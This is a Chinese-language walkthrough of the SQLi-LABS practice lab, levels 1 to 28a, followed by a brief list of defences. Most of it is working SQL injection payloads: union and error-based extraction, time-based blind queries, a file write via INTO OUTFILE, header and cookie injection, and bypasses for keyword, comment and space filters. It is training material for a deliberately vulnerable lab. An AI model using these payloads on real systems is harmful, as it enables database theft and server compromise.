SQLi-LABS-Challenges 0~28a解析
字数 2380 2025-08-12 11:34:41
SQL注入实战:SQLi-LABS Challenges 0~28a 详细解析
1. 基础错误型注入 (Less-1 ~ Less-4)
1.1 Less-1: GET-Error based - Single quotes - String
特点:
- 基于错误的单引号字符串注入
- 输出3列数据
关键步骤:
- 确定列数:
1' order by 4--+报错,1' order by 3--+不报错 → 3列 - 注释符绕过:
#被过滤,使用%23或--+ - 成功payload:
1' union select 1,database(),user()%23 1' and 1=2 union select user(),1,database()--+ - 数据库枚举:
1' and 1=2 union select 1,schema_name,default_character_set_name from information_schema.schemata limit 1,2--+
1.2 Less-2: GET-Error based - Intiger quotes
区别:
- 参数作为整型而非字符串
- 不需要单引号闭合
payload:
1 union select 1,database(),user()%23
1.3 Less-3: GET-Error based - Single quotes whit twist - String
区别:
- 闭合方式变为
')
payload:
1') union select 1,database(),user()%23
1.4 Less-4: GET-Error based - Double Quotes - String
区别:
- 闭合方式变为
")
payload:
1") union select 1,database(),user()%23
2. 盲注技术 (Less-5 ~ Less-10)
2.1 Less-5: Double Query- Single Quotes- String
特点:
- 基于时间的盲注
- 统一返回"You are in......"
关键步骤:
- 确认注入:
1' union select 1,sleep(5),3# - 时间盲注payload:
1' and 1=2 union select if(substring(database(),1,1) = 's',sleep(60),1)#
2.2 Less-6: Double Query- Double Quotes- String
区别:
- 闭合方式变为双引号
"
payload:
1" union select 1,sleep(5),3%23
2.3 Less-7: Dump into Outfile
特点:
- 文件写入注入
前提条件:
- 数据库有写入权限
- 目录有写入权限
secure_file_priv为空或指定目录
payload:
1')) and 1=2 union select database(),2,user() into outfile "/var/www/sqlilabs/Less-7/4.txt"%23
2.4 Less-8 ~ Less-10: 盲注变种
共同点:
- 技术同Less-5
- 区别仅在于闭合方式:
- Less-8:
'布尔盲注 - Less-9:
'时间盲注 - Less-10:
"时间盲注
- Less-8:
payload示例:
id=1' and 1=2 union select if(length(database())>2,sleep(5),1),2,3%23
3. POST型注入 (Less-11 ~ Less-16)
3.1 Less-11: Error Based- String
特点:
- POST请求
- 多种注入方法
payload:
- 基本联合查询:
admin' and 1=2 union select user(),database()# - XPath报错:
admin' and 1=2 union select extractvalue("haha",concat("~",(select database()))),2# - 主键重复报错:
admin' and 1=2 union select 1,2 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a#
3.2 Less-12 ~ Less-14: 闭合方式变种
区别:
- Less-12:
") - Less-13:
') - Less-14:
"
payload示例(Less-12):
admin") and 1=2 union select 1,2 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)as a#
3.3 Less-15 ~ Less-16: POST盲注
特点:
- Less-15: 布尔盲注
- Less-16: 时间盲注,闭合方式为
")
payload示例(Less-15):
admin' and 1=2 union select if(length(database())>2,sleep(5),1),1#
4. 高级注入技术 (Less-17 ~ Less-28a)
4.1 Less-17: Update Query- Error based - String
特点:
- 注入点在password字段
- UPDATE语句
payload:
User Name: admin
New Password: 123' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)as a)#
4.2 Less-18: Header Injection- Error Based- string
特点:
- 注入点在User-Agent头
- INSERT语句
payload:
- 方法一:
' and extractvalue(1,concat("~",database())) and '1'='1 - 方法二:
',1,extractvalue(1,concat("~",database())))#
4.3 Less-19: Header Injection- Referer- Error Based- string
区别:
- 注入点在Referer头
payload:
http://172.16.12.149:81/Less-19/' and extractvalue(1,concat("~",user())) and '1'='1
4.4 Less-20 ~ Less-21: Cookie Injection
特点:
- Less-20: 注入点在cookie
- Less-21: 闭合方式为
'),且cookie值base64编码
payload示例(Less-21):
admin') and 1=2 union select user(),database(),version()#
Base64编码后:
YWRtaW4nKSBhbmQgMT0yIHVuaW9uIHNlbGVjdCB1c2VyKCksZGF0YWJhc2UoKSx2ZXJzaW9uKCkj
4.5 Less-23: 过滤注释符
绕过方法:
- 用
and '1闭合最后的单引号
payload:
?id=1' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)' and '1
4.6 Less-24: 二次注入
攻击步骤:
- 创建用户:
admin'#,密码123 - 登录后修改密码为root → 实际修改的是admin的密码
4.7 Less-25: 过滤or/and
绕过方法:
- 双写关键字:
aandnd,oorr - URL编码注释符
payload:
id=1' aandnd 1=2 union select user(),database(),3%23
4.8 Less-26: 过滤空格和注释符
绕过方法:
- 使用逻辑运算符
||和&& - 使用替代空格的字符:
%09,%0a,%0c,%0b,%a0
payload:
id=-1'||(updatexml(1,concat("~",user()),0))||'1
4.9 Less-27: 过滤select/union
绕过方法:
- 多重写:
selselselectectect - 大小写:
SeLEct
payload:
id=-1'||(updatexml(1,concat("~",user()),0))||'1
4.10 Less-28: 严格过滤select/union
特点:
- 单独select或union不过滤,但二者一起出现就过滤
- 过滤
*,影响floor报错注入
payload:
id=1')%0Aand%0A1=2%0Aunion%0Aunion%0Aselect%0Aselect%0A1,2,3;%00
5. 总结与防御建议
5.1 常见注入技术总结
- 错误型注入:利用数据库错误信息获取数据
- 联合查询注入:通过union获取数据
- 盲注技术:布尔盲注、时间盲注
- 报错注入:利用数据库函数故意制造错误
- 堆叠查询:执行多条SQL语句
- 二次注入:存储后再触发
- 头部注入:HTTP头部字段注入
5.2 防御建议
- 使用参数化查询/预处理语句
- 严格过滤输入,使用白名单机制
- 最小权限原则,限制数据库账户权限
- 关闭错误回显
- 使用WAF防护
- 定期更新和修补系统